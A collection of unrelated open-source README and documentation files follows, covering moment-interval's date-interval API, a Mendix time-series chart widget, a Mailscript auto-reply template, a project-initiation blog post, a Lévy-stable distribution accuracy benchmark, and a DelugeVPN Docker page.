Returns an Interval instance starting at _Moment_ and ending at _Moment_.

    // December 21st, 2012 to March 3rd, 2013
    moment.interval(moment('2012-12-21'), moment('2013-03-21'));

### moment().interval(String)

Similar to `moment.interval(String)` but uses the current Moment instance as one end of the interval, so you just need to specify the other end.

    // Now to Tomorrow same time
    moment().interval('/P1D');

### `Interval` moment().interval(Moment)

Similar to `moment.interval(Moment, Moment)` but the current Moment instance is used as one end of the interval.

    // January 2010 to June 2015
    moment('2010-01').interval('2015-06');

### `Interval` moment().interval(Duration)

Similar to `moment.interval(Moment, Duration)` or `moment.interval(Duration, Moment)` but the current Moment instance is used as one end of the interval.

    // Sunday to Monday
    moment().startOf('week').interval(moment.duration(-1, 'day'));

    // Monday to Tuesday
    moment().startOf('week').interval(moment.duration(1, 'day'));

### `Interval` duration().since(Moment)

Creates an Interval instance starting at _Moment_ and ending at _Moment+current Duration_.

    // July 9th, 2011 to July 10th, 2011
    moment.duration(1, 'day').since(moment('2011-07-09'));

### `Interval` duration().until(Moment)

Creates an Interval instance starting at _Moment+current Duration_ and ending at _Moment_.

    // July 9th, 2011 to July 10th, 2011
    moment.duration(1, 'day').until(moment('2011-07-10'));

Adjusting an interval
----------------------

moment-interval uses overloaded getters and setters in the same way Moment.js does.  Calling these methods without parameters acts as a getter, and calling them with a parameter acts as a setter.

### `Moment` start([moment, [keepPeriod = false]])

Sets or returns a Moment object representing the start time of the interval.

By default, setting a new start time will stretch or shrink the period and the end time will remain intact.

    var selection = moment.interval('2010-06-01/2010-06-08');
    selection.start();              // Moment object set at 2010-06-01
    selection.period().humanize();  // "7 days"

    selection.start('2010-06-05');
    selection.period().humanize();  // "3 days"

To enforce the period and automatically adjust the end time according to the new start value, add the second argument keepPeriod as true.

    selection.start('2010-06-01', true);
    selection.end();                // Moment object set at 2010-06-04

### `Moment` end([Moment, [keepPeriod = false]])

Same as above, but with the end time.

### `Duration` period([Duration])

Sets or returns a Duration object representing the period of the interval. Setting a new period will shrink or stretch the interval keeping the start time intact.

    // a week from today
    var selection = moment.interval('/P1W');
    selection.end();    // Moment object set as (today + 1 week)

    selection.period(moment.duration(2, 'weeks'));
    selection.end();    // Moment object set as (today + 2 weeks)

### `Interval` backward([Duration])

Moves the interval backwards in time. You can either specify a period by passing a Duration object, or leave it blank and the interval will move backward by the current period.

    var selection = moment.interval('P1W/2013-05-01');

    // previous week
    selection.backward();   // 2013-04-17/2013-04-24

    // previous week
    selection.backward();   // 2013-04-10/2013-04-17

    // previous year
    selection.backward(moment.duration(1, 'year')); // 2012-04-10/2012-04-17

### `Interval` forward([Duration])

Same as above, but moves the interval forward in time.

    // next month
    selection.forward(moment.duration(1, 'month'))

### `Interval` travel(Duration)

Same as above but the Duration argument is mandatory. This is a generic method for moving backward or forward depending on the duration (if it is negative or positive).

    // previous week
    selection.travel(moment.duration(-1, 'week'));

    // next week
    selection.travel(moment.duration(1, 'week'));

Helper methods
--------------

### `boolean` moment.isInterval(Interval)

Checks the specified object and returns true if it's a valid Interval instance, or false otherwise.

### `Duration` moment.duration(String)

moment-interval extends Durations by adding [ISO 8601 duration expressions][iso8601d] support:

`PnYnMnDTnHnMnSnZ` or `PnW`

While `nZ` is not part of the ISO standard, it has been implemented here as a way to specify milliseconds and is completely optional.

    moment.duration('P1W');         // a week
    moment.duration('P1DT2H30M');   // a day and 2 and half hours
    moment.duration('PT500Z');      // half a second

### `String` duration().toISOString()

Returns an ISO 8601 representation of the current Duration instance.

    moment.duration(3, 'weeks').toISOString(); // "P3W"
    moment.duration({days: 9, hours: 18}).toISOString(); // "P9DT18H"

License
=======
moment-interval is freely distributable under the terms of the MIT license.

[moment]: http://momentjs.com/
[iso8601]: http://en.wikipedia.org/wiki/ISO_8601
[iso8601i]: http://en.wikipedia.org/wiki/ISO_8601#Time_intervals
[iso8601d]: http://en.wikipedia.org/wiki/ISO_8601#Durations


text:
[![Build Status](https://travis-ci.org/mendixlabs/time-series.svg?branch=master)](https://travis-ci.org/mendixlabs/time-series)
[![Dependency Status](https://david-dm.org/mendixlabs/time-series.svg)](https://david-dm.org/mendixlabs/time-series)
[![Dev Dependency Status](https://david-dm.org/mendixlabs/time-series.svg#info=devDependencies)](https://david-dm.org/mendixlabs/time-series#info=devDependencies)
[![codecov](https://codecov.io/gh/mendixlabs/time-series/branch/master/graph/badge.svg)](https://codecov.io/gh/mendixlabs/time-series)

# Time series
Plot and track your data across different time periods on a chart.

## Features
* Plot numeric data date on a time line
* Multiple series in one graph
* Date formatting on x-axis (eg: dd/MM/yyyy, MMM-yyyy). See all patterns [here](http://docs.oracle.com/javase/6/docs/api/java/text/SimpleDateFormat.html)
* Formatting of numbers on y-axis (decimal precision)
* Guidelines and floating tool tips
* Automatic and custom line colouring eg: green, #00FF00, rgb(0,255,0)
* Filling of series area

## Dependencies
* Mendix 7.2

## Demo project
https://timeseriestest.mxapps.io/

## Usage
This widget requires a context.

### Series Configuration
Atleast one series is required, with its data source

#### Data source
 - `Name` - The name of the series, it will appear in the chart's legend.
 - `Data entity` - The entity containing the data points for x-axis and y-axis (it has the x and y attributes). In this example its the <b>Point</b> entity.
 - `Source`
    * XPath - For "XPath" source, add an XPath constraint in the `Source - XPath` tab. Not the XPath are more efficient in large data sets.
    * Microflow - For "Microflow" source, add a data source microflow in the `Source - Microflow` tab.
#### Sample domain model and configuration
![Sample domain model and configuration](/assets/Setup.png)

## Issues, suggestions and feature requests
We are actively maintaining this widget, please report any issues or suggestion for improvement at https://github.com/mendixlabs/time-series/issues.

## Development
Prerequisite: Install git, node package manager, webpack CLI, grunt CLI, Karma CLI

To contribute, fork and clone.

    > git clone https://github.com/mendixlabs/time-series.git

The code is in typescript.

To set up the development environment, run:

    > npm install

Create a folder named `dist` in the project root.

Create a Mendix test project in the dist folder and rename its root folder to MxTestProject. Changes to the widget code shall be automatically pushed to this test project. Or get the test project from [https://github.com/mendixlabs/time-seriesreleases/latest](https://github.com/mendixlabs/time-series/releases/latest)

To automatically compile, bundle and push code changes to the running Mendix test project, run:

    > grunt

To run the unit tests with code coverage, results can be found at `dist/testresults/coverage/index.html`, run:

    > npm test

or run the unit tests continuously during development:

    > karma start

repository: FlockOfBirds/time-series

repo_name: FlockOfBirds/time-series


text:
# Mailscript templates: auto reply to first time sender

You can use this template to setup a workflow that listens in to incoming email messages and when it gets a hit from a first time sender it will auto reply with a message saying you'll get back to them as soon as possible.

## Workflow

```yml
version: "0.2"
addresses:
<EMAIL_ADDRESS>    keys:
      - name: owner
        read: true
        write: true
workflows:
  - name: auto reply to first time sender
    input<EMAIL_ADDRESS>    trigger: first-time-trigger
    action: first-time-reply
triggers:
  - name: first-time-trigger
    composition:
      - criteria:
          firstTimeSender: true
actions:
  - name: first-time-reply
    type: mailscript-email
    config:
      from<EMAIL_ADDRESS>      key: owner
      type: reply
      text: I will get back to you as soon as possible
```

## Manual setup

```sh
mailscript workflows:add \
  --name "auto reply to first time sender" \
  --trigger<EMAIL_ADDRESS>\
  --firsttimesender
  --reply \
  --text "I will get back to you as soon as possible"
```

repository: dnsxyz/cli

repo_name: dnsxyz/cli


text:
---
layout: post
title: Project Management - Initiation
subtitle:  Getting Your Project Stated - Initiation Process
tags: [process]
category: process
bigimg:
- "/img/gantt-chart-excel-templates-2010.jpg" : "Sample of Gantt Chart Template"
---
￼
The initiation and planning phases
of the project begin as soon as you hire your project manager.   This includes establishing what is going to get done, what is the budget, getting the team and
vendors onboard, establishing the objectives and key deliverables and setup the communication and Project Management  collaboration tools.

The Project Manager will send a questionnaire to the client, plus have 1 or 2 meetings to gather information about the project.    In 5 to 7 business days the Project Manager will have the project initiated ready for your approval.  Once you approve, we hit the ground running and are ready to start work.

### The client needs to provide:

* Description of your idea or concept.
* Names of any team members that you want us to use and the role/expertise,
* Brand book, logo ideas, fonts, colors for your site or marketing
* Any designs, ideas or graphics you have in mind
* Inspiration sites.  Have you seen this done somewhere else.  What do you like or not like about their ideas.
* The budget including how it is to be allocated.
* The authority of the Project Manager who is acting on your behalf.

### The PM will deliver to the client:

* A Charter which includes:
  * Scope of the project:  What is to be done?
  * Resource plan:  Who are the team members, roles and skills needed for this product?
  * Communication plan:   How will team members communicate, how often, how often will project status reports be delivered to the client?
  * Constraints, Assumptions and Risks:  What is the budget, are there important time constraints or regulatory requirements?
* Business Case (optional)
* Financial Plan:  Overview of budget and planned costs.
* Architecture/planned implementation.  If you have already decided on a solution or technology, then this will be delivered, otherwise a software architect will define this in the next phase or we will proceed with a Proof of Concept or MVP (Minimum Viable Product) project to deliver a few features to test the market/solution.

### Communication Board

We have a sample Trello board and excel template to setup your project.   We will setup slack, skype, google groups to communicate as per your instructions.

### Next Step, Execution

We are ready to start the project.

repository: jlastwood/oldsite

repo_name: jlastwood/oldsite


text:
# levy-stable-benchmarks

Stable distributions (sometimes called Lévy alpha-stable distributions) are
important for modelling data across several disciplines including signal
processing, physics, and finance. Despite this, many Python libraries
provide buggy and/or inaccurate implementations for computing its PDF/CDF.

This repository attempts to define a benchmark to test the accuracy of
such implementations. We also provide some alternative calculation methods.

![accuracy figures](figures/accuracy_figures.png)

Among other things, this repository has helped to
 * Identify a typo in Theorem 1, case (d) of Nolan's original paper, [Numerical calculation of stable densities and distribution functions](https://www.tandfonline.com/doi/abs/10.1080/15326349708807450). This is corrected in [Nolan's new textbook](https://www.springer.com/us/book/9783030529147).
 * Further progress on [a scipy PR to improve stable distribution computations](https://github.com/scipy/scipy/pull/9523).
 * Identify [some issues in pylevy](https://github.com/josemiotto/pylevy/issues/15), a Python package for applications involving stable distributions.

 See [this FAQ question](#FAQ8) for more details.

† Due to poor performance, the single-threaded benchmark takes nearly 90 hours for scipy_quadrature.

## FAQ: notes and limitations

 * [How are "accuracy percentage" and "composite accuracy" defined?](#FAQ1)
 * [Where did these PDF/CDF tables come from? Are they accurate?](#FAQ2)
 * [What are some known limitations of this benchmark?](#FAQ3)
 * [Why is the range of tested absolute tolerances different for CDF vs. PDF?](#FAQ4)
 * [Where can I find the libraries tested?](#FAQ5)
 * [The literature is very inconsistent/fragmented with respect to parameterizing stable distributions. Are you sure the libraries are actually consistent in their calculations here?](#FAQ6)
 * [simple_quadrature _usually_ seems accurate. When/where is it inaccurate?](#FAQ7)
 * [simple_monte_carlo appears far slower in practice than listed here. Why?](#FAQ8)
 * [These methods vary greatly in their speed. What is a "good" average time per call?](#FAQ9)
 * [Some of the methods only appear in the PDF or CDF tests. Why?](#FAQ10)
 * [I know of a Python library that is missing from this benchmark. Can you add it?](#FAQ11)

##### How are "accuracy percentage" and "composite accuracy" defined?

"Accuracy percentage" is the percentage of tabulated values computed to the
desired tolerance.

When listed above, the accuracy percentages are truncated (not rounded), so a
method will only have 100.0% accuracy if it is within the specified tolerance
on *all* the test cases.

"Composite accuracy" is the average accuracy percentage on all the PDF or CDF
tables. There are three tables each for PDF and CDF, so ~33% of the weighting
goes to each.

##### Where did these PDF/CDF tables come from? Are they accurate?

These tables are obtained from Nolan's STABLE program, which has been the gold standard for computing this distribution's functions since its release.

STABLE rounds certain inputs to avoid parameter regions where his method has difficulties. The specifics are complicated (see his README) and certain parts of his algorithm are undocumented, but can be partially reverse-engineered through his program's debug messages. Regardless, I believe these have very little effect on the overall accuracy of the tables.

More imporantly, Nolan's methods have significant inaccuracies in the distribution tails for some parameter values. For instance, alpha=1.0 with nonzero beta often has an (incorrect) discontinuity, resulting in incorrect values beyond p=1% and p=99%.

We plotted this specific issue in [a related scipy PR](https://github.com/scipy/scipy/pull/9523#issuecomment-683491485) and copy this inline below.

![STABLE CDF inaccuracy near alpha=1](figures/STABLE_discontinuity_alpha_one.png)

We have also compiled [plots of all STABLE CDF errors larger than 1e-4](figures/STABLE_table_CDF_errors_larger_than_1e-4.pdf) in the tables that use the most recent (publicly available) version of the program (v3.14.02).

Nolan's published CDF/PDF quantiles table use a much older version of the program and contain other/larger inaccuracies.

There are more inaccuracies further in the tails for other parameter values (notably as alpha gets smaller), but they are less impactful. For such parameter choices, Nolan's integrands become very pathological and are beyond the capabilities of most general quadrature routines.

##### What are some known limitations of this benchmark?

Our tables lack beta < 0 values, so we implicitly assume that implementations handle negative beta values correctly. This distribution has a certain "symmetry" in beta, so one could easily test these values as well, but it would double the running time.

The behavior **very** far out (p < 0.00001) into the tails is not tested, but this is probably a minor concern in most applications

There are known errors in the tables that we use to test accuracy, but I believe this also has little effect (see the FAQ question on the PDF/CDF tables).

##### Why is the range of tested absolute tolerances different for CDF vs. PDF?

This is an ad-hoc choice. It was assumed that absolute accuracies of 0.01 for the CDF and 0.0001 for the PDF are near the lower end of usefulness.

It's worth noting that simply returning the normal distribution (with e.g. `norm.pdf(1, scale=sqrt(2))`) yields composite accuracies of ~20% and ~30% at this accuracy level for the PDF and CDF, respectively.

##### Where can I find the libraries tested?

There are six methods tested here. See the links below and the code in [algorithms](algorithms).

 * Our simple methods (relatively "simple" compared to existing techniques)
   * [**simple_quadrature**](algorithms/simple_quadrature.py): direct numerical integration based on our [integrand derivation directly from the characteristic function](figures/simple_quadrature_derivation/simple_quadrature_derivation.pdf)
   * [**simple_monte_carlo**](algorithms/simple_monte_carlo.py): monte carlo scheme based on the [Chambers-Mallows-Stuck method of simulating stable random variables](https://doi.org/10.1080%2F01621459.1976.10480344)
   * **larger_monte_carlo**: same as simple_monte_carlo, but with a sample size of 100 million
 * Scipy's methods (tested on version 1.5.4)
   * [**scipy_best**](https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.levy_stable.html) with `pdf_default_method = "best"`
   * [**scipy_zolotarev**](https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.levy_stable.html) with `pdf_default_method = "zolotarev"`
   * [**scipy_quadrature**](https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.levy_stable.html) with `pdf_default_method = "quadrature"`
 * [**pylevy_miotto**](https://github.com/josemiotto/pylevy) (tested on commit [d6b855e](https://github.com/josemiotto/pylevy/commit/d6b855ef2ff959db7c4002c1b39b98bd968f60b0))
 * TODO: add the unofficial pystable_jones?

##### The literature is very inconsistent/fragmented with respect to parameterizing stable distributions. Are you sure the libraries are actually consistent in their calculations here?

Mark Veillette says this well:

> One of the most frustrating issues in dealing with alpha-stable distribtuions is that its parameterization is not consistent across the literature (there are over half a dozen parameterizations). [...] The most common way to specify a parameterization is to look at the characteristic function of the alpha-stable random variable.
>
> One further annoyance is that the names of the 4 parameters are also inconsistent. [...] The letters alpha and beta are used almost everywhere you look, while the other two parameters are almost always different.

To this end, we've written some [tests to prove our transformations are good](tests/parameterization_tests.py). At the moment, all the libraries here appear use either the S0 or S1 parameterization (in Nolan's notation).

##### simple_quadrature _usually_ seems accurate. When/where is it inaccurate?

Most notably, simple_quadrature can completely fail near x = ? (TODO: this has been observed, but where and why?) and in the tails when the oscillatory components of the integrand become incredibly unwieldy.

One could probably create a hybrid scheme that uses known asymptotic tail results to improve accuracy here, though it's unclear how successful or performant such an approach would be.

If accuracy is critical, one should really use a custom integrator for computing this distribution's functions as there are some nice properties of the integrands that so far have not been exploited. To date, only general quadrature routines have been used. Indeed, most of the significant issues in Nolan's STABLE program appear to arise due to numerical quadrature failures.

##### simple_monte_carlo appears far slower in practice than listed here. Why?

simple_monte_carlo is an incredibly inefficient method for computing the CDF in general. It must generate new random samples for each unique pair of (alpha, beta) values.

Here, the test tables include many repeated (alpha, beta) pairs, so the method appears to run more quickly *on average* than it otherwise might.

##### These methods vary greatly in their speed. What is a "good" average time per call?

This is highly domain specific -- some applications might need very quick calculations and can tolerate large inaccuracies. Others might require high accuracy and have speed only as a secondary consideration.

The tests here were run on a machine with a i7-9700K (8 cores, stock, up to 4.9 GHz) CPU and 16 GB DDR4 3200 MHz of RAM.

Nolan claims to have

> code to quickly approximate stable densities.  This routine is much faster than the regular density calculations: approximately 1 million density evaluations/second can be performed on a 1 GHz Pentium.

which appears to suggest that an average time per call of <1 us (!) is "easily" feasible on modern hardware. However, this is several orders of magnitude faster than any of the methods tested here.

##### Some of the methods only appear in the PDF or CDF tests. Why?

Some methods only support one or the other. In general, computing the CDF of this distribution is much easier than computing the PDF.

##### I know of a Python library that is missing from this benchmark. Can you add it?

Yes (assuming it's publicly available), please raise an issue and I'll try to add it.

repository: ragibson/levy-stable-benchmarks

repo_name: ragibson/levy-stable-benchmarks


text:
# DelugeVPN

[DelugeVPN](http://deluge-torrent.org/) is a Docker build script for Arch Linux base with [Deluge](http://deluge-torrent.org/), [Privoxy](http://www.privoxy.org/) and [OpenVPN](https://openvpn.net/) all included in one image.

The support forum for DelugeVPN is located at [https://forums.unraid.net/topic/44109-support-binhex-delugevpn/](https://forums.unraid.net/topic/44109-support-binhex-delugevpn/).

The GIT Repository for DelugeVPN is located at [https://github.com/binhex/arch-delugevpn](https://github.com/binhex/arch-delugevpn).

## DelugeVPN WebUI Access

If you're attempting to get access to the DelugeVPN WebUI remotely outside of your home network using LetsEncrypt you must follow the steps outlined in [VPN Information](https://dockstarter.com/advanced/vpn-info/).

repository: idolize/DockSTARTer

gha_language: Shell

repo_name: idolize/DockSTARTer